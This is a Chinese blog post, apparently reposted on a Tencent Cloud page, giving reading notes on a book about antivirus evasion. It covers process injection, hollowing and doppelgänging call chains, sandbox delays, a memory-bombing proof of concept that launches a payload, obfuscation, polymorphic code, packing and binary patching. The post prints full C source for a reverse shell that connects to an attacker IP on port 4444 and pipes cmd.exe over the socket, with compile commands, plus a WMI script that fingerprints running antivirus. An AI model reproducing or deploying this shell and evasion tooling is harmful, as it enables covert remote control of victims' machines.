专栏首页鸿鹄实验室读书笔记《antivirus-bypass-techniques》

读书笔记《antivirus-bypass-techniques》

本文是基本图书《Antivirus Bypass Techniques: Learn practical techniques and tactics to combat, bypass, and evade antivirus software》的读书笔记,也就是一本免杀书籍,国内好久没有免杀类的书了,不如来看看国外的,有兴趣的可以自行找一找,下载看一下,亚马逊上也有,地址如下:

https://www.amazon.com/Antivirus-Bypass-Techniques-practical-techniques/dp/1801079749

前几章是对于windows基础的讲解,进程、线程、注册表啥的,这里就不多说了。

我们直接从bypass av的地方开始看。

第一部分,绕过动态扫描

1、进程注入

引用作者的话:

进程注入是用于动态绕过反病毒引擎的最常见技术之一。

反病毒引擎的最常用技术之一。许多反病毒软件供应商和软件开发商依靠所谓的

进程注入或代码注入来检查系统上运行的进程。使用进程注入,我们可以将恶意代码注入到操作系统内合法的进程中,从而避免被动态反病毒引擎发现。

引擎的检测。

一般的进程注入步骤如下

1. 确定一个目标进程,在其中注入代码。

2. 接收目标进程的句柄以访问其进程地址空间。

3. 分配一个虚拟内存地址空间,代码将被注入并执行。如果需要的话,分配一个执行标志。

4. 在目标进程的分配的内存地址空间中执行代码注入。

5. 最后,执行注入的代码。

1.1 Classic DLL injection

作者使用的是最基础的DLL injection,进程调用链如下:

OpenProcess---->VirtualAllocEx---->WriteProcessMemory---->CreateRemoteThread---->LoadLibrary/GetProcAddress

1.2 Process hollowing

进程镂空,进程调用链如下:

CreateProcess---->ZwUnmapViewOfSection/NtUnmapViewOfSection---->VirtualAllocEx---->WriteProcessMemory---->SetThreadContext and ResumeThread

1.3 Process doppelgänging

进程调用链如下:

CreateFileTransacted---->WriteFile---->NtCreateSection---->RollbackTransaction---->NtCreateProcessEx, RtlCreateProcessParametersEx,
VirtualAllocEx, WriteProcessMemory, NtCreateThreadEx,NtResumeThread

然后又附上了一些其他的注入方式

2、延时

有点反沙箱的意思,书里面介绍了Sleep()函数并不真正适用于反病毒,

我们必须使用其他函数--如GetTickCount、GetSystemTime、GetSystemTimeAsFileTime、QueryPerformanceCounter、timeGetTime......

3、Memory bombing

直译过来就是内存轰炸,利用分配大内存使得杀毒软件使用过多的资源在相对较大的内存上进行简单的扫描时迫使杀毒软件放弃检测我们的恶意文件(感觉怪怪的)然后分析了malloc()和calloc()的区别,并最后给出了一个POC

int main()
{
    char *memory_bombing = NULL;
    memory_bombing = (char *) calloc(200000000, sizeof(char));
    if(memory_bombing != NULL)
    {
        free(memory_bombing);
        payload();
    }
    return 0;
}

使用这类技术可以使得原生msf在vt上的爆毒减少10左右

第二部分,绕过静态扫描

1、混淆

1.1 Rename obfuscation

主要针对代码中的变量名。然后给出了一个py的在线混淆网站

https://pyob.oxyry.com/

对比

1.2 Control-flow obfuscation

控制流混淆将原始源代码转化为复杂的、不可读的和不明确的代码。例子:

1.3 绕过yara

就是绕过那个静态扫描的,可以不把恶意代码写入使用分离加载绕过

#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024


void RunShell(char* C2Server, int C2Port) {
    while(true) {
        Sleep(5000);    // Five Second

        SOCKET mySocket;
        sockaddr_in addr;
        WSADATA version;
        WSAStartup(MAKEWORD(2,2), &version);
        mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
        addr.sin_family = AF_INET;
   
        addr.sin_addr.s_addr = inet_addr(C2Server);  
        addr.sin_port = htons(C2Port);    

        if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
            closesocket(mySocket);
            WSACleanup();
            continue;
        }
        else {
            char RecvData[DEFAULT_BUFLEN];
            memset(RecvData, 0, sizeof(RecvData));
            int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
            if (RecvCode <= 0) {
                closesocket(mySocket);
                WSACleanup();
                continue;
            }
            else {
                char Process[] = "cmd.exe";
                STARTUPINFO sinfo;
                PROCESS_INFORMATION pinfo;
                memset(&sinfo, 0, sizeof(sinfo));
                sinfo.cb = sizeof(sinfo);
                sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
                sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
                CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
                WaitForSingleObject(pinfo.hProcess, INFINITE);
                CloseHandle(pinfo.hProcess);
                CloseHandle(pinfo.hThread);

                memset(RecvData, 0, sizeof(RecvData));
                int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
                if (RecvCode <= 0) {
                    closesocket(mySocket);
                    WSACleanup();
                    continue;
                }
                if (strcmp(RecvData, "exit\n") == 0) {
                    exit(0);
                }
            }
        }
    }
}

int main(int argc, char **argv) {
    FreeConsole();
    if (argc == 3) {
        int port  = atoi(argv[2]); 
        RunShell(argv[1], port);
    }
    else {
        char host[] = "192.168.0.101";  // change this to your ip address
        int port = 4444;                //chnage this to your open port
        RunShell(host, port);
    }
    return 0;
}

编译

i686-w64-mingw32-g++ socket.cpp -o before_obfuscation.exe
-lws2_32 -lwininet -s -ffunction-sections -fdata-sections
-Wno-write-strings -fno-exceptions -fmerge-all-constants
-static-libstdc++ -static-libgcc -fpermissive

ps:以上都可以使用llvm来做

2、加密

2.1 Oligomorphic code

大体意思是每次运行选择不同的key解密自己

2.2 Polymorphic code

在此之上更加复杂,即key-->source形式

2.3 Metamorphic code

运行时改变恶意软件的内容,从而使自己发生变异。例如,这种变化可以使恶意软件增加完全无用的条件和变量,但对其功能没有影响,改变机器指令。

在不同的位置给自己添加无操作(NOP)指令,等等。

3、壳

这一部分没说什么太多的东西,文中使用的upx对国内不太友好,需要自己改upx。

第三部分,其他免杀技术

1、binary patching

利用patch技术,以nc为例,nc一开始是sub esp, 18

将18改成17

不影响文件运行,但在VT上面少了10个爆毒。

2、Timestomping

这个我感觉没什么用。就是改变文件创建时间

3、junk code

垃圾代码,跟上面的类似,一个开sockets的demo

4、技术总结

第四部分,红队操作中的免杀

一上来给了个wmi查杀软进程的脚本

import wmi
print("Antivirus Bypass Techniques by Nir Yehoshua and Uriel
Kosayev")
Proc = wmi.WMI()
AV_Check = ("MsMpEng.exe", "AdAwareService.exe", "afwServ.
exe", "avguard.exe", "AVGSvc.exe", "bdagent.
exe", "BullGuardCore.exe", "ekrn.exe", "fshoster32.
exe", "GDScan.exe", "avp.exe", "K7CrvSvc.exe", "McAPExe.
exe", "NortonSecurity.exe", "PavFnSvr.exe", "SavService.
exe", "EnterpriseService.exe", "WRSA.exe", "ZAPrivacyService.
exe")
for process in Proc.Win32_Process():
    if process.Name in AV_Check:
        print(f"{process.ProcessId} {process.Name}")
pyinstaller --onefile "Antivirus Fingerprinting.py"

国内就好多了,在线的很多,也方便也全面。然后这一部分就结束了。

本文分享自微信公众号 - 鸿鹄实验室(gh_a2210090ba3f),作者:鸿鹄实验室a

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2021-08-12

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 低成本玩转硬件安全(一) | BadUSB on Arduino

    引言 鉴于硬件安全对于大多数新人是较少接触的,而这方面又非常吸引我,但是部分专业安全研究设备较高的价格使人望而却步。在该系列中,笔者希望对此感兴趣的读者在花费较...

    FB客服
  • WAF 绕过的捷径与方法

    在企业架构中,安全体系同剥洋葱一般,由外及内是由一层层的安全产品和规范构成,越处于外层承重越大,WAF 属七层防护的第一道墙,随着互联网技术发展,业务对外提供服...

    信安之路
  • Windows 权限提升

    本篇内容是内网安全攻防:渗透测试实战指南时的阅读笔记,笔记大部分内容均来自此书,另外一部分来源于一些公开文档和非公开文档,参考链接中均有注明。

    重生信息安全
  • 议题解读:Operation Bypass Catch My Payload If You Can

    本次简单解读的议题为:Operation Bypass Catch My Payload If You Can

    鸿鹄实验室
  • <机器学习>西瓜书,读书笔记

    机器学习的发展阶段 1:推荐书目:周志华<机器学习西瓜书>,李航教授<统计学习方法>,这两本书都用简单的方式介绍了一批重要并且常用的机器学习算法 机器学习所发展...

    云时之间
  • Git 读书笔记

    程序手艺人
  • react 读书笔记

    为什么要提及这句话呢。因为现在我的项目中也有自己的创建的组件类,然后其余的组件来继承它。

    踏浪
  • react 读书笔记

    为什么要提及这句话呢。因为现在我的项目中也有自己的创建的组件类,然后其余的组件来继承它。

    踏浪
  • 活动#3 读书,写读书笔记

    废话不多说,行动起来吧。大家写的读书笔记链接可以在本文评论~下面是几个可能对你有用的链接

    前端GoGoGo
  • Modern Algebra 读书笔记

    绿巨人
  • Python读书笔记11

    前面的文章和大家分享了数字、字符串、列表和元组,我们重新声明这些变量回顾一下! 数字、浮点数直接用等号声明 字符串需要将内容用英文单引号或双引号括起来 列表是外...

    企鹅号小编
  • Python读书笔记4

    上期介绍了数字型数据,本期和大家分享的是另一个常见的数据类型字符串,可以简单的理解为Excel中的文本。 Excel在存储内核中其实只有两种:文本、数字;日期归...

    企鹅号小编
  • Python读书笔记5

    上期分享了Python相关的字符串应用,重点分享了转义字符。今天和大家分享和字符串相关的函数和应用。 一、字符串的合并! Python用“+”号可以连接两个文本...

    企鹅号小编
  • 《结网》读书笔记

    nimomeng
  • 《重来》- 读书笔记

    本书作者从团队到个人,批判了很多陈腐的商业思维,尤其适用于互联网行业,是互联网从业人员必读书目。笔者读完本书甚有醍醐灌顶之感,深深地被作者明智的头脑,风趣的语言...

    用户2932962
  • Python读书笔记9

    我们针对列表需要进行整体的排序,今天就和大家聊一聊列表的排序应用。 一、永久性排序 什么是永久性排序呢,之前很多方法比如针对字符串的title方法,针对列表的重...

    企鹅号小编
  • Python读书笔记7

    上期和大家分享了列表的创建及列表的基本特性,本期和大家分享一下列表改增删操作。 一、列表的修改 ? 上期的这个图还记得吗? 这个图说明了字符串的不可变性及列表的...

    企鹅号小编
  • Python读书笔记8

    今天和大家分享的是列表的相关函数。 其实今天分享的函数对于字符串、列表、元组都可以使用,已经会的当做复习咯。 至于神马是元组,后续会分享哦! 一、In Or N...

    企鹅号小编
  • GameEngineArchitecture读书笔记(一)

    逍遥剑客

扫码关注云+社区

领取腾讯云代金券